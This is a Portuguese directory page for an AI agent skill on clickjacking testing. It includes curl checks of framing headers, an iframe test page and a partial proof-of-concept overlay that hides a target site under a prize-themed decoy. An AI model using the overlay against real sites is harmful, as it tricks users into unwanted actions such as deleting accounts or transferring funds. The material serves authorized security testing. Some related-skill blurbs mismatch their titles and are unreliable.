performing-clickjacking-attack-test
Ajuda seu agente a testar sites contra ataques de 'clickjacking'. Ele verifica se é possível enganar o usuário para clicar em algo sem querer.
O que ela faz
Este recurso testa se um site pode ser enganado para que um usuário clique em algo que ele não vê, como um botão de exclusão ou transferência. Ele verifica as proteções do site e cria um exemplo de como o ataque funcionaria.
Quando usar
- ✓Ao testar a segurança de um site com permissão.
- ✓Para verificar se ações importantes (como apagar conta) podem ser feitas sem confirmação extra.
- ✓Ao avaliar sites que lidam com dinheiro ou informações pessoais.
Exemplo do que pedir para a IA
“Verifique se o site 'exemplo.com' pode ser usado em um ataque de clickjacking para apagar a conta do usuário.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
Primeiro, ele verifica as 'regras' do site para ver se ele permite ser exibido dentro de outros sites. Depois, ele tenta exibir o site em um 'quadro' invisível e, se funcionar, cria uma página falsa que esconde o site real por baixo, enganando o usuário para clicar em algo perigoso.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-clickjacking-attack-testOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-clickjacking-attack-test/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Testando Ataques de Clickjacking
Quando Usar
- Durante testes de penetração autorizados ao avaliar vulnerabilidades de UI redressing (redirecionamento de interface).
- Ao testar se ações sensíveis (excluir conta, transferir fundos, alterar configurações) podem ser realizadas via clickjacking.
- Para avaliar a eficácia das diretivas
X-Frame-OptionseContent-Security-Policy frame-ancestors. - Ao avaliar aplicações que processam ações de "um clique" sem confirmação adicional.
- Durante auditorias de segurança de aplicações que lidam com transações financeiras ou gerenciamento de contas.
Pré-requisitos
- Autorização: Acordo escrito de teste de penetração para o alvo.
- Navegador Web: Navegador moderno para testar a incorporação em iframes.
- Servidor Web Local: Python
http.serverou similar para hospedar páginas de Prova de Conceito (PoC). - Burp Suite: Para examinar cabeçalhos de resposta.
- Conhecimento de HTML/CSS: Para criar páginas de sobreposição de clickjacking.
- curl: Para verificar cabeçalhos de framing em páginas de destino.
Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.
Fluxo de Trabalho
Passo 1: Verificar Proteções de Incorporação em Frame
Examine os cabeçalhos de resposta em busca de defesas anti-clickjacking.
# Check X-Frame-Options header
curl -s -I "https://target.example.com/" | grep -i "x-frame-options"
# Expected values:
# X-Frame-Options: DENY (blocks all framing)
# X-Frame-Options: SAMEORIGIN (allows same-origin framing)
# X-Frame-Options: ALLOW-FROM https://trusted.com (deprecated, limited support)
# Check Content-Security-Policy frame-ancestors directive
curl -s -I "https://target.example.com/" | grep -i "content-security-policy"
# Look for: frame-ancestors 'none' or frame-ancestors 'self'
# frame-ancestors 'none' = equivalent to DENY
# frame-ancestors 'self' = equivalent to SAMEORIGIN
# Test multiple sensitive pages
for page in / /account/settings /account/delete /transfer \
/admin/dashboard /change-password /change-email; do
echo -n "$page: "
headers=$(curl -s -I "https://target.example.com$page")
xfo=$(echo "$headers" | grep -i "x-frame-options" | tr -d '\r')
csp=$(echo "$headers" | grep -i "content-security-policy" | grep -o "frame-ancestors[^;]*" | tr -d '\r')
if [ -z "$xfo" ] && [ -z "$csp" ]; then
echo "NO PROTECTION"
else
echo "${xfo:-none} | ${csp:-none}"
fi
done
# Check if JavaScript frame-busting is used (weak protection)
curl -s "https://target.example.com/" | grep -i "top.location\|parent.location\|frameElement"
Passo 2: Testar Incorporação Básica em Iframe
Tente incorporar a página de destino em um iframe para confirmar a vulnerabilidade.
<!-- basic-frame-test.html -->
<html>
<head><title>Clickjacking Frame Test</title></head>
<body>
<h1>Frame Embedding Test</h1>
<p>If the target page loads below, it is vulnerable to clickjacking.</p>
<!-- Test basic framing -->
<iframe src="https://target.example.com/account/settings"
width="800" height="600"
style="border: 2px solid red;">
</iframe>
<p>If you see "Refused to display" in console or blank iframe,
the page has frame protection.</p>
</body>
</html>
# Host the test page
cd /tmp
cat > frame-test.html << 'EOF'
<html>
<body>
<h1>Clickjacking Test</h1>
<iframe src="https://target.example.com/account/settings"
width="800" height="600"></iframe>
</body>
</html>
EOF
python3 -m http.server 8888
# Open http://localhost:8888/frame-test.html in browser
# Check browser console for framing errors
Passo 3: Criar Prova de Conceito de Clickjacking
Construa um ataque de sobreposição que engana os usuários para que cliquem em elementos ocultos.
<!-- clickjacking-poc.html -->
<html>
<head>
<title>Ganhe um Prêmio!</title>
<style>
body {
margin: 0;
padding: 0;
font-family: Arial, sans-serif;
}
/* Iframe invisível contendo a página de destino */
#target-frame {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0.0001; /* Quase invisível */
z-index: 2; /* Acima da isca */
border: none;
}
/* Conteúdo de isca que engana o usuário */
#decoy {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
z-index: 1;
background: white;
}
/* Posiciona o botão "Clique aqui" exatamente sobre o
botão sensível do alvo (ajuste os valores de top/left com base no layout do alvo) */
#click-bait {
position: absolute;
…
Perguntas frequentes
O que é clickjacking?
É um ataque onde um site malicioso exibe um site legítimo de forma invisível (ou disfarçada) e engana o usuário para clicar em botões ou links desse site legítimo, executando ações indesejadas.
Preciso de permissão para usar isso?
Sim, você precisa de permissão explícita por escrito do dono do site para realizar este teste. Usar isso sem permissão é ilegal.
Quais ferramentas são necessárias?
Você precisará de um navegador, um servidor web simples (como o Python http.server), e ferramentas como Burp Suite e curl para verificar as configurações do site.
Detalhes
Descrição original do autor
Testing web applications for clickjacking vulnerabilities by assessing frame embedding controls and crafting proof-of-concept overlay attacks during authorized security assessments.
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #6034
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
django-security
Ajuda seu agente a implementar práticas de segurança em aplicações Django. Ele foca em autenticação, autorização e prevenção contra ataques comuns, garantindo um código mais seguro.
affaan-m/ECC
laravel-security
Ajuda seu agente a proteger aplicações Laravel contra ameaças. Implementa práticas de segurança para autenticação, autorização e prevenção de ataques comuns.
affaan-m/ECC
module-regression
Ajuda seu agente a gerenciar mudanças em projetos grandes. Garante que alterações em uma parte do código não quebrem outras partes.
affaan-m/ECC